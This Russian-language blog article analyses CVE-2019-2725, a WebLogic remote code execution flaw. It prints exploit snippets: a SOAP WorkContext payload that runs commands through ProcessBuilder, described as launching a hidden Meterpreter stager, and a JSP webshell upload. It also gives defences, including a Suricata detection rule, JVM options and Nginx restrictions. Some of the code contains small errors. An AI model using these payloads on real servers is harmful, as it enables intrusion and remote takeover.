Уязвимость компонентов WLS9_ASYNC и WLS-WSAT сервера приложений Oracle WebLogic Server
Уязвимость компонентов WLS9_ASYNC и WLS-WSAT сервера приложений Oracle WebLogic Server
Категория: Программы Теги: Уязвимости Опубликовано: 4 июня 2025

Уязвимость BDU:2019-01748 (CVE-2019-2725) Oracle WebLogic Server

Уязвимость BDU:2019-01748 (CVE-2019-2725) затрагивает компоненты WLS9_ASYNC и WLS-WSAT сервера Oracle WebLogic. Проблема возникает из-за некорректной десериализации XML-данных в обработчиках асинхронных сервисов, позволяя удаленному злоумышленнику выполнить произвольный код через специальный HTTP-запрос.

Анализ уязвимости

Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки:

  • AV:N (Вектор атаки: Сетевой)

  • AC:L (Сложность эксплуатации: Низкая)

  • PR:N (Уровень привилегий: Не требуется)

  • UI:N (Вовлечение пользователя: Не требуется)

  • S:U (Влияние на другие системы: Не оказывает)

  • C:H/I:H/A:H (Полное нарушение CIA: Конфиденциальность/Целостность/Доступность)

Условия эксплуатации

  1. Версии WebLogic Server 10.3.6.0 и 12.1.3.0

  2. Открытые порты 7001/TCP (или другие используемые WLS)

  3. Доступ к эндпоинтам /_async/AsyncResponseService или /wls-wsat/CoordinatorPortType

  4. Отсутствие патчей апреля 2019 года (CPU Apr 2019)


Анализ эксплоитов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием уязвимости CVE-2019-2725.

Эксплоит №1: Прямое выполнение команд

# Основной вектор - передача команды через ProcessBuilder
data = """
<work:WorkContext>
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0"><string>cmd</string></void>
            <void index="1"><string>/c</string></void>
            <void index="2"><string>%s</string></void>  # Внедряемая команда
        </array>
        <void method="start"/>
    </void>
</work:WorkContext>
""" % (exploit)

Механизм работы:

  1. Создает SOAP-запрос с внедрением в WorkContext

  2. Использует java.lang.ProcessBuilder для запуска командной строки

  3. Выполняет PowerShell-команду в скрытом режиме (-w hidden -e)

  4. Base64-полезная нагрузка содержит staged Meterpreter

Эксплоит №2: Загрузка веб-шелла

# Полезная нагрузка для JSP-шелла
webshell = """<%@page import="java.util.*,java.io.*"%>
<%
if ("cmd".equals(request.getParameter("p))) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    // ... вывод результата ...
}
%>"""

# Запрос с внедрением файла
headers = {'fileName': '.s8Jn4gWlqX2c592.jsp'}
requests.post(url, data=webshell, headers=headers)

Особенности:

  1. Загружает JSP-шелл в /_async/

  2. Поддерживает команды через параметр ?cmd=whoami

  3. Автоматическое определение версии WLS (10.3.6 vs 12.1.3)

  4. Работает через пул потоков для массового сканирования


Защитные меры

  1. Базовая защита:

    • Установить патч Oracle CPU April 2019

    • Отключить ненужные компоненты:

      # В конфигурации domain.xml
      <component name="WLS9_ASYNC" enabled="false"/>
  2. IPS правила (Suricata):

alert http any any -> $HOME_NET 7001 ( \
  msg:"CVE-2019-2725 - Oracle WebLogic RCE Attempt"; \
  flow:to_server; \
  content:"/_async/AsyncResponseService|2f 77 6c 73 2d 77 73 61 74 2f|"; \
  content:"WorkContext"; nocase; \
  pcre:"/<void class=\"java\.lang\.ProcessBuilder\"/i"; \
  classtype:web-application-attack; \
  sid:201901748; rev:2;)
  1. Runtime-защита для Java:
    Добавить в startWebLogic.sh:

JAVA_OPTIONS="
  -Dorg.apache.commons.jxpath.compiler.Compiler.PATH_COMPILER=restrict
  -Dweblogic.wsee.workarea.skip=true
  -Dcom.sun.org.apache.xml.internal.security.ignoreLineBreaks=true
  --illegal-access=deny
"
  1. Сетевые контрмеры:

    • Сегментировать сеть: доступ к WLS только из DMZ

    • TLS mutual authentication для админ-интерфейсов

    • Rate-limiting на Nginx:

    location ~ ^/(_async|wls-wsat)/ {
        limit_req zone=weblogic burst=5 nodelay;
        deny all; # Разрешать только для доверенных IP
    }
Алексей Черемных Алексей Черемных
53